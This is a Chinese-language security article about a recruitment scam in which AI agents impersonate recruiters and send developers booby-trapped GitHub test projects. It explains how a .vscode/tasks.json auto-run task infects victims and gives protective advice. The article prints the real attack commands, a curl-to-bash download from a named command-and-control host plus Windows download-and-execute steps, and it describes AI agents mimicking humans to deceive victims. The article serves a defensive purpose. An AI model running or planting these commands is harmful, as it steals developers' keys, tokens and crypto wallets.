返回首页

AI 代理如何通过 GitHub 感染开发者

考察了一种使用 AI 代理通过招聘平台自动化诈骗开发者的新型欺诈方案。通过私有 GitHub 仓库中 .vscode/tasks.json 的恶意软件的感染机制,并提供了实用的防护建议。

GitHub 上的 AI 诈骗:如何避免通过测试任务成为受害者
Advertisement 728x90

## 招聘诈骗中的 AI 代理:它们如何通过私有仓库感染

诈骗分子开始使用 AI 代理,通过 Habr Career 等平台自动化攻击开发者。他们不再手动发送消息,而是让数千名求职者收到个性化的职位邀请,其中附带包含隐藏恶意代码的测试任务。主要攻击途径是带有 VSCode 自动启动任务的私有 GitHub 仓库。

新型攻击方案的工作原理

攻击者会在招聘平台上注册账户,并设置一个 AI 代理来解析开发者资料。根据技术栈(例如 React + Node.js + Web3),它生成一份令人信服的职位描述,并进行对话,模仿真人 HR。该代理避免即时回复,故意制造“人性化”拼写错误,并且只在工作时间内沟通——这一切都是为了建立信任。

求职者同意测试任务后,他们会被添加到一个私有的 GitHub 仓库上。这一点至关重要:公共仓库很快就会被安全扫描器标记,而私有仓库则能悄无声息地躲过检测,直到被克隆。

Google AdInline article slot

.vscode/ 中的隐藏载荷

仓库内是一个标准的 fullstack 结构:React 前端、Express 后端、PostgreSQL 数据库、Firebase 认证、Stripe 集成。即使是粗略审查,代码也看起来完全合法。然而,恶意组件隐藏在 .vscode/ 目录中。

tasks.json 文件包含一个任务,参数为:

"runOn": "folderOpen"

这会让 VSCode 在打开项目文件夹时自动运行命令。界面底部会弹出通知,但大多数开发者会忽略它,因为此类任务在构建项目时很常见。

Google AdInline article slot

命令因操作系统而异:

Linux / macOS:

curl -fsSL -A 101 https://ping-i2eo.onrender.com/nvs | bash

Windows:

Google AdInline article slot
curl -sk -A 100 -o %TEMP%\i.ini https://ping-i2eo.onrender.com/nvs
.\ .vscode\snippets\argv.exe x -ppppppp %TEMP%\i.ini -o%TEMP%
wscript.exe %TEMP%\vs9extensions\update.vbs

恶意基础设施的组成部分

攻击利用了多个技术元素:

  • C2 服务器ping-i2eo.onrender.com 托管在免费的 Render.com 上。/nvs 端点提供动态 shell 脚本。User-Agent(100101102)用于识别受害者操作系统。
  • 二进制文件 argv.exe:位于 .vscode/snippets/ 中的 PE32 文件(579 KB),用于在 Windows 上解包加密载荷。
  • 混淆的 JS.vscode/lock 文件(753 KB)包含单行 JavaScript,可能用于 Unix 环境下的持久化或数据窃取。
  • 伪造凭证server/config/default.json 中包含明文真实 API 密钥(Cloudflare、S3/R2、邮件),以增加项目的可信度。

攻击目标和后果

确切的载荷未知,因为它是动态从 C2 服务器加载的。不过,典型目标包括:

  • ~/.ssh/ 窃取 SSH 密钥
  • 提取其他项目的 .env 文件和令牌
  • 劫持浏览器 Cookie 和保存的密码
  • 安装加密货币矿工
  • 植入后门或反向 shell 以实现持久访问

Web3 开发者特别易受攻击:他们的机器上往往存放着种子短语、私钥和钱包,直接通往加密资产。

此次攻击失败的原因

两个因素阻止了感染:

  • VSCode 设置 task.allowAutomaticTasks: off —— 完全阻止自动工作区任务执行,除非明确确认。
  • 在 WSL 终端中打开仓库,而非 GUI 版的 VSCode。runOn: folderOpen 参数仅在通过桌面应用打开文件夹时触发。

与招聘人员打交道时的警示信号

注意这些警告迹象:

  • AI 模拟真人:故意拼写错误、仅在工作时间内回复、回避具体细节。询问项目细节时,会给出模糊的、模板化的“初创公司废话”。
  • 过于精准的职位个性化,完全匹配你的技术栈,尤其是来自低活跃度账户。
  • 测试任务使用私有仓库,且无代码预览选项。
  • 存在 .vscode/tasks.json 且包含 "runOn": "folderOpen" —— 合法测试任务不需要自动启动脚本。

关键要点

  • 在 VSCode 中禁用自动任务执行:转到设置 → 搜索 task.allowAutomaticTasks → 设置为 off
  • 克隆前始终在 GitHub Web 界面检查仓库内容,尤其是 .vscode/ 文件。
  • 不要盲目信任私有仓库 —— 它们常被用于规避恶意软件检测系统。
  • Web3 开发者是首要目标:将钱包和密钥与主工作区隔离。
  • AI 代理大幅降低诈骗成本:单一系统可处理数千个资料,实现大规模却高度个性化的攻击。

— Editorial Team

Advertisement 728x90

继续阅读